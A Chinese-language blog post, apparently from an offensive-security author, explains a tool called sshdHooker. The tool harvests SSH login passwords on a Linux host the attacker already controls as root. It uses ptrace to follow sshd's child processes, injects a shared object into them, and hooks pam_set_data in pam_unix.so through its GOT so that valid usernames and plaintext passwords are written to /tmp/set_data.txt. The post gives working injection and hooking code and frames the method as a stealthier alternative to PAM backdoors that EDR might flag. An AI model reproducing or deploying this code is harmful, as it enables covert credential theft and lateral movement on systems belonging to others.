前言
项目地址:sshdHooker,开箱即用,但是只支持 x64。
当我们通过洞,拿到一台 linux 机器的最高权限的时候,我们基本都想扩大战果。然而和 windows 不同,linux 的加密方式除了某些特别远古版本的系统,大部分系统加密强度都是很高的,而且又没有类似 lsass 这样的东西甚至会把明文密码记录内存,也没有 NTLM 这种好用的通用 token,所以基本都是使用一些特殊的方式记录密码。例如 PAM,就比如我这个文章:一般路过 PAM 后门 / SSH 密码记录
改 PAM 有个很大的过程,那就是需要编译和替换文件,这个过程中,会遇到一个很大的问题,那就是编译版本和经常性的爆炸。那么问题来了,我们都拿到 root 了,就没有一种,简单粗暴的方法嘛?
在上面文章中,我们可以看到,使用 strace 监控所有文件调用,我们可以成功的在栈指行过程中记录到我们收到的密码明文。使用 strace 的优点是比如重编译 PAM 和替换文件,直接进行一个读取对于我们来说爆炸的几率实在是太低了。唯一的缺点就是直接用 strace,生成的数据量实在是太多了,而且我们也没办法找到登陆的密码是否是我们想要的密码。
那么有没有什么办法,用类似 strace 的形式,读取内存并且过滤出我们想要的东西呢?这就是我们今天讨论的内容。
流程分析
先总结一下我们有什么,strace,是使用 ptrace 直接记录系统调用的,基本就是 ptrace 监听 attach。所以我们的目标也很明确,就是使用 ptrace 整一个花活。
最开始的设想,是整一个监控栈指行的地方,直接定位到相关地址,然后检查栈的内容(传入的参数),转念一想,这不就是 HOOK 一个地址,然后把参数跳转到我们的函数,然后去检查传入内容,最后再把原始数据丢回原函数(地址)
正好,我们手头里之前研究过了一个东西,那就是 linux 下的进程注入器:Linux 下进程隐藏 二 -- 进程注入(So 注入)
可以注入到内存之后,就要来一个经典问题:HOOK 哪里?怎么 HOOK?
HOOK哪里-PAM调用机制
从 一般路过 PAM 后门 / SSH 密码记录 文章可以看到,我们的 unix_pam.so
是用来进行密码验证的模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | // linux-pam/modules/pam_unix/pam_unix_auth.c int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) { unsigned long long ctrl; int retval, *ret_data = NULL; const char *name; const char *p; D(( "called." )); /* .....省略... */ /* verify the password of this user */ retval = _unix_verify_password(pamh, name, p, ctrl); name = p = NULL; AUTH_RETURN; } |
然而通过观察目录下其他文件,我们可以发现,其他模块也有 pam_sm_authenticate
这个函数。该项目属于 libpam,是 sshd 一个下属的模块之一,用于控制 PAM 模块。
我们观察了一下该目录下的其他模块,也都有 pam_sm_authenticate
之类的函数,那么我们大胆猜测一下,会不会是 sshd 的操作流程是
- sshd启动
- 加载libpam
- libpam搜索目录下所有文件
- libpam 动态加载pam_sm_authenticate
- pam模块导入成功
猜想没有用,还是得看源码是怎么写的。于是乎,直接在项目进行搜索。我们成功在 pam_handle 下发现了相关代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 | int _pam_add_handler(pam_handle_t *pamh , int handler_type, int other, int stack_level, int type , int *actions, const char *mod_path , int argc, char **argv, int argvlen) { struct loaded_module *mod = NULL; struct handler **handler_p; struct handler **handler_p2; struct handlers *the_handlers; const char *sym, *sym2; char *mod_full_path; servicefn func, func2; int mod_type = PAM_MT_FAULTY_MOD; D(( "called." )); IF_NO_PAMH( "_pam_add_handler" ,pamh,PAM_SYSTEM_ERR); D(( "_pam_add_handler: adding type %d, handler_type %d, module `%s'" , type, handler_type, mod_path)); if ((handler_type == PAM_HT_MODULE || handler_type == PAM_HT_SILENT_MODULE) && mod_path != NULL) { if (mod_path[0] == '/' ) { mod = _pam_load_module(pamh, mod_path, handler_type); } else if (asprintf(&mod_full_path, "%s%s" , DEFAULT_MODULE_PATH, mod_path) >= 0) { mod = _pam_load_module(pamh, mod_full_path, handler_type); _pam_drop(mod_full_path); } else { pam_syslog(pamh, LOG_CRIT, "cannot malloc full mod path" ); return PAM_ABORT; } if (mod == NULL) { /* if we get here with NULL it means allocation error */ return PAM_ABORT; } mod_type = mod->type; } if (mod_path == NULL) mod_path = UNKNOWN_MODULE; /* * At this point 'mod' points to the stored/loaded module. */ /* Now define the handler(s) based on mod->dlhandle and type */ /* decide which list of handlers to use */ the_handlers = (other) ? &pamh->handlers.other : &pamh->handlers.conf; handler_p = handler_p2 = NULL; func = func2 = NULL; sym2 = NULL; /* point handler_p's at the root addresses of the function stacks */ switch (type) { case PAM_T_AUTH: handler_p = &the_handlers->authenticate; sym = "pam_sm_authenticate" ; handler_p2 = &the_handlers->setcred; sym2 = "pam_sm_setcred" ; break ; case PAM_T_SESS: handler_p = &the_handlers->open_session; sym = "pam_sm_open_session" ; handler_p2 = &the_handlers->close_session; sym2 = "pam_sm_close_session" ; break ; case PAM_T_ACCT: handler_p = &the_handlers->acct_mgmt; sym = "pam_sm_acct_mgmt" ; break ; case PAM_T_PASS: handler_p = &the_handlers->chauthtok; sym = "pam_sm_chauthtok" ; break ; default : /* Illegal module type */ D(( "_pam_add_handler: illegal module type %d" , type)); return PAM_ABORT; } /* are the modules reliable? */ if (mod_type != PAM_MT_DYNAMIC_MOD && mod_type != PAM_MT_FAULTY_MOD) { D(( "_pam_add_handlers: illegal module library type; %d" , mod_type)); pam_syslog(pamh, LOG_ERR, "internal error: module library type not known: %s;%d" , sym, mod_type); return PAM_ABORT; } /* now identify this module's functions - for non-faulty modules */ if ((mod_type == PAM_MT_DYNAMIC_MOD) && !(func = _pam_dlsym(mod->dl_handle, sym)) ) { pam_syslog(pamh, LOG_ERR, "unable to resolve symbol: %s" , sym); } if (sym2) { if ((mod_type == PAM_MT_DYNAMIC_MOD) && !(func2 = _pam_dlsym(mod->dl_handle, sym2)) ) { pam_syslog(pamh, LOG_ERR, "unable to resolve symbol: %s" , sym2); } } /* ..... 后面省略*/ |
我们直接看到_pam_dlsym
和_pam_dlopen
,基本可以证明我们的猜想。
就是 libpam 是通过 dlopen 和 dlsym 动态加载的。我们只要 hook 了 dlopen 和 dlsym,判断是否是 pam_unix.so 的不就行了?
(然而以上只是理论可行,实际上注入的时候不知道为什么老是 HOOK 不到 dlopen 的 GOT 表,出了一点问题,不知道为什么,百思不得姐,最后还是使用了其他方式,但是原理还是一样的,这个后面再说)
怎么HOOK?-GOT HOOK
最最最简单的办法是,inline hook,直接找到 API 地址,然后修改他们开头的字节,直接 jmp 到我们的函数地址,然后等我们函数执行完的时候再还原。
然而有个问题是,这是 windows api 的修改方法,我们这个是 linux,修改的是外部 so 加载的地址。所以我们得转变个思路:我们是如何调用一个所加载 so 的导出函数地址的?这就涉及到了另一个东西,GOT 表。大概意思就是这个表中加载的所有 so 的导出地址,有函数名 -> 对应映射基地址等,只需要把这个表所对应的导出地址修改成我们函数的地址即可。
好,二话不说,github 找段代码: inject_got,把这玩意编译成 so 文件拿去注入就 OK 了
现在我们有能力直接 HOOK 我们想要的函数了。
验证猜想
既然要素齐全,比起先上手写代码,我们可以先试试,最快速的验证方式是直接 GDB 打个断点,然后使用 SSH 连接,看看我们能否 hook 到 dlopen 就知道了。然后我们就照做了。

可以看到,我们用 gdb 直接载入 sshd 之后,用 b 给 dlopen 下了一个断点。结果并没有什么卯月,还给我们了弹了两个 process 1401834 is executing new program: /usr/sbin/sshd
新子进程创建的提示。大胆猜测,会不会是这两个子进程是分开用来处理 ssh 登录请求的呢?我们真实要注入的地址其实是这些子进程?
我们通过 ssh 脸上自己之后,使用 pstree 来查看子进程。

可以看到 sshd 之后又跟了两个子进程,我们挨个挂载。直接 b 跟进子进程

可以发现,并没有什么卯月,然而实际上,可能只是我们注入的时间晚了的缘故,在我们注入之前,这些函数都调用完了。还是继续回到 strace 来看看这些到底是如何做到的。
首先我们先看子进程是如何创建的。我们用 strace 记录了 sshd 进程再 ssh 接收到登录并且密码输入正确的时候(我截图的这个 stree 日志是之前记录的,那时候 sshd 的 pid 是 9731)

在第一个子进程出现的时候,sshd 调用了 clone 调用
1 2 3 | 9731 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD <unfinished ...> 10242 set_robust_list(0x7f5ee78fbbe0, 24 <unfinished ...> 9731 <... clone resumed>, child_tidptr=0x7f5ee78fbbd0) = 10242 |
创建了子进程 10242 之后,clone 返回了子进程的 pid。
之后再有子进程调用 clone,创建了子子进程 10249
1 | 10242 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fc005b0dbd0) = 10249 |
符合之前 pstree 看到的结果。
然后再看我们的 pam 模块是怎么加载的,直接搜索.so 相关的

可以看到,进行 so 相关操作的是由第二个子进程操作处理的,所以我们重点目光看向那就行。
监控子进程
既然每个 ssh 连接是由不同的子进程处理的,那么我们只注入 sshd 进程肯定是不行的了。因为子进程才是关键,根据 strace 结果,我们知道系统是调用了 clone,并且还能拿到结果,那么就简单了,直接使用 pstrace,拦截 syscall 调用就行,根据 syscall 调用表,我们知道 clone 的调用号是 56。
大概伪代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 | while (1){ ptrace( PTRACE_SYSCALL, target_pid, NULL, 0 ); waitpid( target_pid, NULL, WUNTRACED ); pthread_t id; num = ptrace(PTRACE_PEEKUSER, target_pid, ORIG_RAX * 8, NULL); // 获得调用号值 if (num == 56){ // 是调用了clone printf ( "system call num = %ld\n" , num); ptrace_getregs( target_pid, ®s ); // 获得调用结果 printf ( "Process maybe = %ld \n" , regs.rax); subprocess = regs.rax; // do_something(subprocess); } } |
控制注入顺序
然而,知晓了 clone 创建的时间,还是不能直接 HOOK 进去修改 dlopen。因为这时候注入进去,会发生一个问题,我们以上的那些模块操作都是在 libpam 中进行的,而我们这个进程并不是直接在子进程中的,所以如果我们直接使用上述的 inject_got
注入进去,会没办法修改到 libpam 中的 dlopen。
直接看代码,原始代码 inject_got
中的代码应该是这样
1 2 3 4 5 | /* .... */ char buf[MAX_BUF_SIZE] = {0}; int err = get_exe_name(buf, sizeof (buf)); void * base_addr = get_module_base(getpid(),buf); // 注意这个buf,这个buf是读取自身进程 /* .... */ |
其中 get_module_base
的作用是从 /prof/pid/maps
里读取模块的基地址,然后再载入内存 ELF 进行 GOT 表查找的,这里原始函数查找的是主模块(自身进程)的基地址,即便修改了主模块的 GOT,libpam 里的是不会照着主模块的 GOT 进行执行的,必须修改到 libpam 的 GOT 表。

但是根据上述所说,直接 clone 的时候就注入,libpam 还没有载入到内存中,maps 里就找不到基地址,修改 GOT 就更无从谈起,因此我们需要一个函数来判断 libpam 的加载,最简单的办法就是 HOOK openat 调用号进行判断。我们在我们原始的注入程序中加入以下判断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | int WaitforLibPAM(pid_t target_pid){ struct user_regs_struct regs; if ( ptrace_attach( target_pid ) == -1 ){ printf ( "WaitforLibPAM attach Failed\n" ); return -1; } if ( ptrace_getregs( target_pid, ®s ) == -1 ){ printf ( "-- Getregs Error\n" ); return -1; } //ptrace_continue( target_pid ); long num,bit=0,finded = 0; char *path = malloc (255); char libsystemd[] = "common-session" ; while (1){ ptrace( PTRACE_SYSCALL, target_pid, NULL, 0 ); waitpid( target_pid, NULL, WUNTRACED ); num = ptrace(PTRACE_PEEKUSER, target_pid, ORIG_RAX * 8, NULL); //printf("++ SubProcess: system call num = %ld\n", num); if (num ==257){ ptrace_getregs( target_pid, ®s ) ; printf ( "++ SubProcess: rsi :%p\n" ,regs.rsi); //ptrace_writedata(target_pid,regs.rip,local_code_ptr,code_length ); //ptrace_continue( target_pid ); ptrace_readdata(target_pid,( void *)regs.rsi,path,255); printf ( "++ SubProcess:openat path :%s\n" ,path); if ( strstr (path,libsystemd)){ ptrace_detach(target_pid); // do_inject_so(target_pid); break ; } } } } |
通过 strace 判断,打开 common-session
文件在打开 libpam.so
文件之后,因此只要判断 openat 打开了 common-session
就能知道 libpam
已经被加载了。
然后把 inject_got
中的代码修改一下
1 | void * base_addr = get_module_base(getpid(), "/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1" ); |
这样后续的修改 GOT 就会是修改 libpam 的 GOT 了
过程控制-读取密码
回到上面的 pam_unix_auth.c
,我们知道了所有的函数都会调用 pam_sm_authenticate
,那么我们如何知道其中的密码,和如何判断密码正确?我们先看密码如何获取
直接看到 pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv)
的第一个参数 pamh,它是一个 pam_handle_t
结构如下,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | struct pam_handle { char *authtok; unsigned caller_is; struct pam_conv *pam_conversation; char *oldauthtok; char *prompt; /* for use by pam_get_user() */ char *service_name; char *user; char *rhost; char *ruser; char *tty; char *xdisplay; char *authtok_type; /* PAM_AUTHTOK_TYPE */ struct pam_data *data; struct pam_environ *env; /* structure to maintain environment list */ struct _pam_fail_delay fail_delay; /* helper function for easy delays */ struct pam_xauth_data xauth; /* auth info for X display */ struct service handlers; struct _pam_former_state former; /* library state - support for event driven applications */ const char *mod_name; /* Name of the module currently executed */ int mod_argc; /* Number of module arguments */ char **mod_argv; /* module arguments */ int choice; /* Which function we call from the module */ #ifdef HAVE_LIBAUDIT int audit_state; /* keep track of reported audit messages */ #endif int authtok_verified; char *confdir; }; |
很多看不懂的结构体甚至还有一个 ifdef 是不是?肯定有人会问了,"这 ifdef,说明这玩意的结构长度不定长,它函数传的又是指针,我们怎么知道它具体偏移是多少如果传错了咋办呀?"
其实,我们真正需要的只有 authtok
和 user
,这两个成员地址,这两个偏移量是始终固定的,后续的成员要不要都无所谓,所以在我们的 inject_got
中只需要定义成如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | struct pam_handle { char *authtok; unsigned caller_is; struct pam_conv *pam_conversation; char *oldauthtok; char *prompt; /* for use by pam_get_user() */ char *service_name; char *user; char *rhost; char *ruser; char *tty; char *xdisplay; char *authtok_type; /* PAM_AUTHTOK_TYPE */ }; |
即可,反正传给我们的是指针,我们根据偏移读取到了账号和密码再把指针原封不动的传给原函数就行。
能获取到密码之后,我们就需要判断是如何验证密码了,继续看到 unic_pam_auth.c
,直接看到函数最后两行
1 2 3 | retval = _unix_verify_password(pamh, name, p, ctrl); name = p = NULL; AUTH_RETURN; |
通过理解代码,_unix_verify_password
就是用来验证账号密码的,如果账号密码正确,retval 返回值就是 PAM_SUCCESS (定义为 0),那么后续呢?我们直接看 AUTH_RETURN
1 2 3 4 5 6 7 8 9 10 | #define AUTH_RETURN \ do { \ D(( "recording return code for next time [%d]" , \ retval)); \ *ret_data = retval; \ pam_set_data(pamh, "unix_setcred_return" , \ ( void *) ret_data, setcred_free); \ D(( "done. [%s]" , pam_strerror(pamh, retval))); \ return retval; \ } while (0) |
可以看到 retval 就直接被返回回去了。所有条件达成。
我们只需要做一个 HOOK 函数
1 2 3 4 5 6 7 8 9 10 | int my_pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) { int ret = old_pam_sm_authenticate(pamh,module_data_name,data,cleanup); if (ret==0){ printf ( "login successful username is : %s password is: %s\n" ,pamh->user,pamh->authtok); // do something } return ret; } |
组合-理想
通过组合所有条件,我们手里有一个注入器,一个 so(inject_got),我们的流程基本就是。
- 注入器注入SSHD
- 注入器HOOK系统调用clone,判断子进程出现
- 注入器注入子进程
- 注入器HOOK子进程OPENAT,判断libpam是否装载完毕
- libpam装载完毕,注入so文件(inject_got)
- inject_got查找libpam中dlopen和dlsym的got并修改为my_dlopen和my_dlsym
- 等待执行dlopen时,跳转到my_dlopen
- my_dlopen 记录下pam_unix.so 的 handle 地址,之后正常指行dlopen
- 等待指行dlsym时候,跳转到my_dlsym
- my_dlsym判断加载的请求是否是pam_sm_authenticate
- my_dlsym判断加载的handle是否是pam_unix.so
- my_dlsym所有条件符合,把函数地址修改成my_pam_sm_authenticate
- 等待原本pam_unix.so中的pam_sm_authenticate将被执行时,跳转到my_pam_sm_authenticate
- my_pam_sm_authenticate记录下用户密码,跳转到原始pam_sm_authenticate
- 判断原始pam_sm_authenticate是否为PAM_SUCCESS=0,是则代表密码正确,记录
- 密码记录完成
组合-现实
这是理想情况,然而可恶的是,tmd 不知道为什么 inject_so 老是无法修改 dlopen 的,倒是能找到 dlsym 的 GOT 表并修改,就很蛋疼,光有 dlsym 的函数地址也不是不行,但是问题就在于,调用 pam_sm_authenticate
的不止一个 so,我不知道哪个 handle 是属于 pam_unix.so 的 pam_sm_authenticate,不同的 so 文件中 pam_sm_authenticate 的返回值代表的也不一样。
本来想着能不能通过 dlsym 的 handle,逆回去看看 handle 所对应的路径,然而看了下相关源码(linux 就是这点好,可以遇事不决看源码),并没有相关操作。于是乎寄,我们只能找到另外 HOOK 点。
我们再次回到_unix_verify_password
结束后流程中来,为什么直接看到这之后?因为这之前的代码是无法判断密码是否正确,所以哪怕 HOOK 了也没用。_unix_verify_password
后的操作只有一个,那就是 AUTH_RETURN
1 2 3 4 5 6 7 8 9 10 | #define AUTH_RETURN \ do { \ D(( "recording return code for next time [%d]" , \ retval)); \ *ret_data = retval; \ pam_set_data(pamh, "unix_setcred_return" , \ ( void *) ret_data, setcred_free); \ D(( "done. [%s]" , pam_strerror(pamh, retval))); \ return retval; \ } while (0) |
我们把木管看向 pam_set_data
,又有独一无二的字符串(指 unix_setcred_return)让我们确认是属于位于这里的 pam_set_data
,又有先前_unix_verify_password
运行后的结果的值(指 *ret_data = retval;
)
于是乎,我们很容易的就可以把目光转移到这个函数上来,这个函数在 pam_unix.so 中,所以我们要把之前的基地址从 libpam 改为 pam_unix.so
1 | void * base_addr = get_module_base(getpid(), "/usr/lib/x86_64-linux-gnu/security/pam_unix.so" ); |
然后,我们在做一个 hook 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | int my_pam_set_data( struct pam_handle *pamh, const char *module_data_name, void *data, void * cleanup) { char unix_setcred_return[] = "unix_setcred_return" ; if ( strstr (unix_setcred_return,module_data_name)){ FILE *fp = NULL; fp = fopen ( "/tmp/set_data.txt" , "a+" ); void * test = malloc ( sizeof ( int )); fprintf (fp, "pam module_data_name: %s %d\n" ,module_data_name,*( int *)data); int ret = *( int *)data; if (ret == 0){ fprintf (fp, "login successful username is : %s password is: %s\n" ,pamh->user,pamh->authtok); } fclose (fp); } //if(strstr(module_data_name,unix_setcred_return)){ //while(1){} } return old_pam_set_data(pamh,module_data_name,data,cleanup); } |
这样就大功告成辣!
修改 pam 模块也可以记录密码。
参考链接:https://github.com/mthbernardes/sshLooterC
俺也有搞过一个,改 PAM 确实挺好的,简单稳定,但是有时候不怕一万就怕万一,直接给改 boom 了,或者操作了文件被 EDR 记录了。。。当然促使我整这玩意不用 PAM 的原因是遇到了个 ldap 认证的。一改就把别人原本的功能给替换了然后人家服务就 boom 了然后我就被发现了。。。所以我才想这能不能搞个不改服务的